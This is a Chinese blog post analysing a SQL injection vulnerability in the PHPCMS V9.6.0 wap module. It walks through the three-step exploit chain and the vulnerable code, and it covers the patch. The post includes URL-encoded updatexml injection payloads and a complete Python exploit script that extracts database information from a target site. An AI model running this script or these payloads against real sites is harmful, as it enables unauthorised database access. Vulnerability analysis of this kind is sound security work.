首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >PHPCMS_V9.6.0wap模块SQL注入漏洞分析

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

作者头像
黑白天安全
发布于 2021-04-07 12:27:07
发布于 2021-04-07 12:27:07
6.6K0
举报

环境搭建

参考PHPCMS_V9.2任意文件上传getshell漏洞分析

漏洞复现

此漏洞利用过程可能稍有复杂,我们可分为以下三个步骤:

  • Step1:GET请求访问/index.php?m=wap&c=index&siteid=1
    • 获取set-cookie中的_siteid结尾的 cookie 字段的值
  • Step2:1. POST请求访问 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao
    • 上面访问的url通过URL解码为:index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao (报错注入,语句可替换)
    • 2. 将Step1获取_siteid结尾的 cookie 字段的值,赋值给 userid_flash 变量,以post数据提交
    • 获取set-cookie中的_json结尾字段的值
  • Step3:访问/index.php?m=content&c=down&a_k=step2获取的_json结尾字段的值
    • eg:/index.php?m=content&c=down&a_k=0e72z-2m8OJyw8injqvbY0xJtR5l5UtndXiFZmxcvK9kHkxN1COlnfyINF38Opx6UcdqlABV2gc-8RuG90sS6e31lJn2mxnkJPnUaQDCTAs0gEsKMnL5CHxl-o1hYg2TWaL5blo9RC8ya0yLkSc5NgzCqfTSgZCAlndhgum-OFk1XGARihPaYUs

Step1:

Step2:

Step3:

老样子,贴个小脚本!

代码语言:javascript
复制
'''
Author: Tao
version: python3
# 本脚本执行返回user()信息
'''
import requests
import sys
# from urllib import parse
import re

def WAP_SQL(url):
    # step1
    url_one = url + '/index.php?m=wap&c=index&siteid=1'
    step1 = requests.get(url_one)
    userid_flash = step1.headers['Set-Cookie'].split('=')[1]

    # step2
    payload = '%*27 and updatexml(1,concat(1,(user())),1)%23&modelid=1&catid=1&m=1&f=Tao'
    url_two = url + r"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id={}".format(requests.utils.quote(payload))  # 执行SQL语句,此处可修改
    step2 = requests.post(url_two, data={'userid_flash': userid_flash})
    for cookie in step2.cookies:
        if '_att_json' in cookie.name:
            att_json = cookie.value

    # step3
    url_three = url + '/index.php?m=content&c=down&a_k={}'.format(att_json)
    step3 = requests.get(url_three)
    res = re.findall(r"MySQL Error : </b>XPATH syntax error: '(.*?)'",step3.text)
    return res

if __name__ == '__main__':
    url = sys.argv[1]
    result_sql = WAP_SQL(url)
    print(result_sql)

执行效果如下:

脚本在对Stpe2那里进行了与手工不一样的处理,原因就是按照手工的方法进行编写的脚本会报错,具体是什么问题以及原因看文尾的分析。>值得一看!!!

漏洞复现

为了更好的理解这个漏洞产生的原因,我们采取的方式是从后往前分析。

根据step3请求的URL地址,可以定位到phpcms\modules\content\down.php文件init函数:

上面代码通过GET获取到了a_k的值,然后将a_k带入sys_auth函数进行解密(DECODE),至于是如何加密的,我们无需关心,但是我们要知道的是

执行到17行,此时$a_k={"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao","filename":""},这里还需要注意parse_str这个函数

通过官方给的例子可知,parse_str会将传入的值根据&进行分割。然后解析注册变量。并且会对内容进行URL解码。

为了更好的理解上面这段话,看下图:

由图可知,当执行parse_str函数,他会进行以下步骤:

  • 1.根据&符解析$a_k的值,注册变量
  • 2.将解析后变量的值进行URL解码

继续执行,到26进行了SQL语句执行,跟进一下

上图可知,执行的SQL语句如下:

代码语言:javascript
复制
SELECT * FROM `phpcmsv96`.`v9_news_data` WHERE  `id` = '' and updatexml(1,concat(1,(user())),1)#' LIMIT 1

我们将语句放到数据库执行一下。

正常返回了,但去掉#,报错,如下图:

这就是为什么Step2处,构造的SQL报错语句后面添加#进行注释

接下来分析Step2,我们需要弄明白,$a_k的值是怎么得到的,以及为什么POST请求数据中需要添加userid_flash字段和对应的值是怎么来的。

根据Step2的请求,我们定位到/phpcms/modules/attachment/attachments.php中swfupload_json函数。

由于swfupload_json方法是attachments类中的一个方法,我们看看类中的构造函数。(不知道你有没有发现什么)

类中的构造函数初始化会判断(21-23行)是否有this->userid,那么这个

代码语言:javascript
复制
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

上面的这一行代码,通过三元运算符判断_SESSION['userid']是否有值,我们第一步利用中,肯定是没有值的,然后执行(param::get_cookie('_userid'),然后我们cookie也没有_userid,所以最终this->userid = sys_auth(

sys_auth(_POST['userid_flash'],'DECODE'))就是对我们step2中userid_flash的值进行解密,这里跟Step3解密是同一个函数,走下来,this->userid=1,就过了21行的判断。这也就是为什么POST请求数据中添加userid_flash字段。

接着分析swfupload_json方法

这里通过GET请求获取了src的值(报错注入语句)。并且经过了safe_replace函数的处理。跟进一下此还能输,看看如何处理的。

这个函数的功能就是对一些特殊字符进行了过滤,当经过这个函数,未作处理$string值为&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao。

走完以后,它将我们传入的%*27变成了%27。(上上图进行过滤的)这也就是为什么要加*号

继续执行,到244行由于cookie中没有att_json,所以跳转至250行进行设置cookie。

可以发现,这里cookie加密也是用的sys_auth函数(跟Step3解密用的同一个函数),这里的key未指定,我们跟进一下这个函数。

图中可以得知,当key为空时,使用pc_base::load_config('system','auth_key')。跟Step3使用的一致。

接着分析Step1

前面提到为什么加userid_flash参数,this->userid = sys_auth(

因此我们需要找到从哪里无添加即可获取cookie,这里利用的是wap模块的接口。在phpcms/modules/wap/index.php

上图代码处通过GET获取siteid的值,然后为其设置cookie。

整个漏洞的利用流程如下:

漏洞修复

对a_k进行了过滤,且将id进行了类型转换

前面提到问题的分析

不知道你们有没有发现,手工利用跟脚本实现的时候不太一样(见下图)

正常来说,因为手工利用的时候直接访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao,那么对应脚本应该如下写:

代码语言:javascript
复制
url_two = url + "/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao"# 执行SQL语句,此处可修改

但当我们这么写,执行的时候,会报错,报错如下:

刚开始我还以为是URL写错了,后面又测了一遍。发现手工可以,但是带到脚本就不行。由于Step2是本脚中最重要的环节,我就很确切的就把问题定位到了这里。最后实在没办法了(想搞懂为什么会这样),被requests这个库逼到绝路了(脚本这个错排了好久的?),于是我就去看了一下requests库的源代码,看看它对url是怎么处理的。最终得到的结果就是requests库对请求的url做了urlencode。当我得到这个结论的时候,大佬告诉我不encode怎么传递,我直接好家伙,当时我怎么就没想到这个呢。但后面又仔细想了想,分析这些漏洞,根据前辈的poc,学习这些手法,那么这些手法大多数不就是不按套路出牌嘛。(我也不知道我自己再说啥,反正玄学。。。)

进行urlencode在下处:

执行的流程如下:

回归正传,在这里我们以Step2请求的url为例:

代码语言:javascript
复制
http://www.phpcms96.com/index.php/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao

正常请求是没问题的,但当使用requests库请求时URL如下:

代码语言:javascript
复制
http://www.phpcms96.com/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%2526id=%25*27%2520and%2520updatexml%25281%252Cconcat%25281%252C%2528user%2528%2529%2529%2529%252C1%2529%2523%2526m%253D1%2526modelid%253D1%2526catid%253D1%2526f%253DTao

分析如下图

就是对我们的url进行了编码,到这里我们仅仅只是发现了requests库对我们的url进行了encode,但php那边为什么会报错我们还没有搞明白,所以我们还得在php那边进行调试观察。

代码语言:javascript
复制
%26id=%27andupdatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao

接着走到Step3的代码位置,可以发现parse_str执行完了,并没有得到$id变量。前面说到parse_str函数是根据&符进行解析注册的。但是由于这里urlencode将我们的&进行编码了,没有解析注册对应的变量。所以报了上面的参数错误。

上面的分析很清楚的说明了问题,就是对url多进行了一次encode。那么怎么解决呢?这时候我猜看到这里的人你们肯定想的是将Step2的URL进行urlencode解码,然后再追加上去(是不是?),那么代码如下:

代码语言:javascript
复制
 payload = "%*27 and updatexml(1,concat(1,(user())),1)%23&modelid=1&catid=1&m=1&f=Tao"
 url_two = url + "/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id={}".format(payload) 

执行如下图,报Controller does not exist.

代码语言:javascript
复制
http://www.phpcms96.com/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%2526id=%25*27%20and%20updatexml(1,concat(1,(user())),1)%2523&modelid=1&catid=1&m=1&f=Tao

由于是MVC架构,我们后面的m=1跟前面的m=attachments冲突了。我们将后面的m=1删除试一试。

还有有问题啊,没有&符。看到这里,你肯定又会觉得,直接把id前面的%26改成&不就好了嘛?

代码语言:javascript
复制
 payload = "%*27 and updatexml(1,concat(1,(user())),1)%23&modelid=1&catid=1&m=1&f=Tao"
 url_two = url + "/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id={}".format(payload) 

src=''那这个漏洞就没法利用,所以说这个利用思路真的很妙。

就是删除了m=1,就没办法过下面的代码了。

好了好了不绕了,还是整理一下来说吧(前面还有一些细节点没说到)。前面说了一堆,大概情况总结下来如下图:

则这一切一切原因就是id=%*27这段部分,为什么这么说呢?贴下处理URL的代码吧(重点关注注释!!!的代码)

代码语言:javascript
复制
// requests源代码 urllib3/util/url.py文件

PERCENT_RE = re.compile(r"%[a-fA-F0-9]{2}") # !!!
.....
    component, percent_encodings = PERCENT_RE.subn(
        lambda match: match.group(0).upper(), component
    )   # !!!

    uri_bytes = component.encode("utf-8", "surrogatepass")
    is_percent_encoded = percent_encodings == uri_bytes.count(b"%") # !!!
    encoded_component = bytearray()

    for i in range(0, len(uri_bytes)):
        # Will return a single character bytestring on both Python 2 & 3
        byte = uri_bytes[i : i + 1]
        byte_ord = ord(byte)
        if (is_percent_encoded and byte == b"%") or (       # !!!
            byte_ord < 128 and byte.decode() in allowed_chars
        ):
            encoded_component += byte
            continue
        encoded_component.extend(b"%" + (hex(byte_ord)[2:].encode().zfill(2).upper()))

    return encoded_component.decode(encoding)

看到这里,你应该知道怎么回事了吧,如果你还不知道,也没关系。我们通过对比观察现象来说明问题:

  • 调试将%encode的代码
  • 调试不会将%encode的代码

具体我也不知道怎么说,大概就是我们url编码的数据(比如%27等多个,完整的)通过正则匹配的,需要跟uri_bytes.count(b"%")获取的相等,而这里由于单独的%(不相等),因此就会被encode。

由于Step2的poc是需要经过safe_replace处理,然后拼接构造的SQL语句,这里我们只需要将%进行url编码即可,于是我们脚本的poc如下:

代码语言:javascript
复制
payload = "%25*27 and updatexml(1,concat(1,(user())),1)%23&modelid=1&catid=1&m=1&f=Tao"

到了这一步,还没有完,因为依旧没法成功利用,看下图,还是参数错误。(原因就是前面提到的MVC架构,这里m冲突的问题)

调试的时候直接到了Step3哪里。$a_k还是空(说明未经过swfupload_json())

正常来说执行如下图:

恶意代码是通过src参数传入的,而第3处对其他变量进行了判断。根据前面分析的截图,已知访问Step2链接的时候会进行decode,所以我们需要将&进行url编码,最终的脚本poc如下:

代码语言:javascript
复制
payload = "%25*27 and updatexml(1,concat(1,(user())),1)%23%26modelid=1%26catid=1%26m=1%26f=Tao"

没问题了!!!

脚本报错的主要原因是id=%*27中这个%搞得鬼(但是这么写也是一定的,绕过safe_replace函数然后拼接SQL语句)。还有&。由此可知,我们只需要将后面id后面的数据编码就可以成功利用。当然啦,最推荐得写法是利用quote函数。这个函数的作用就是进行特殊符号的encode。

看到这里,肯定又会有人要问了,你上面调用的是requests.utils.quote(),怎么放的图是urllib.parse.unquote()。

urllib.parse.unquote官方文档有说明,requests是第三方库,它官网文档我没看到对此函数的说明。但是都是一样的。

使用这个函数后,访问的URL如下:

代码语言:javascript
复制
'http://www.phpcms96.com/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%25%2A27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%2523%26modelid%3D1%26catid%3D1%26m%3D1%26f%3DTao'

文章中有什么不足和错误的地方还望师傅们指正。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-29,如有侵权请联系 cloudcommunity@tencent.com 删除
目录
  • 环境搭建
  • 漏洞复现
  • 漏洞复现
  • 漏洞修复
  • 前面提到问题的分析
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档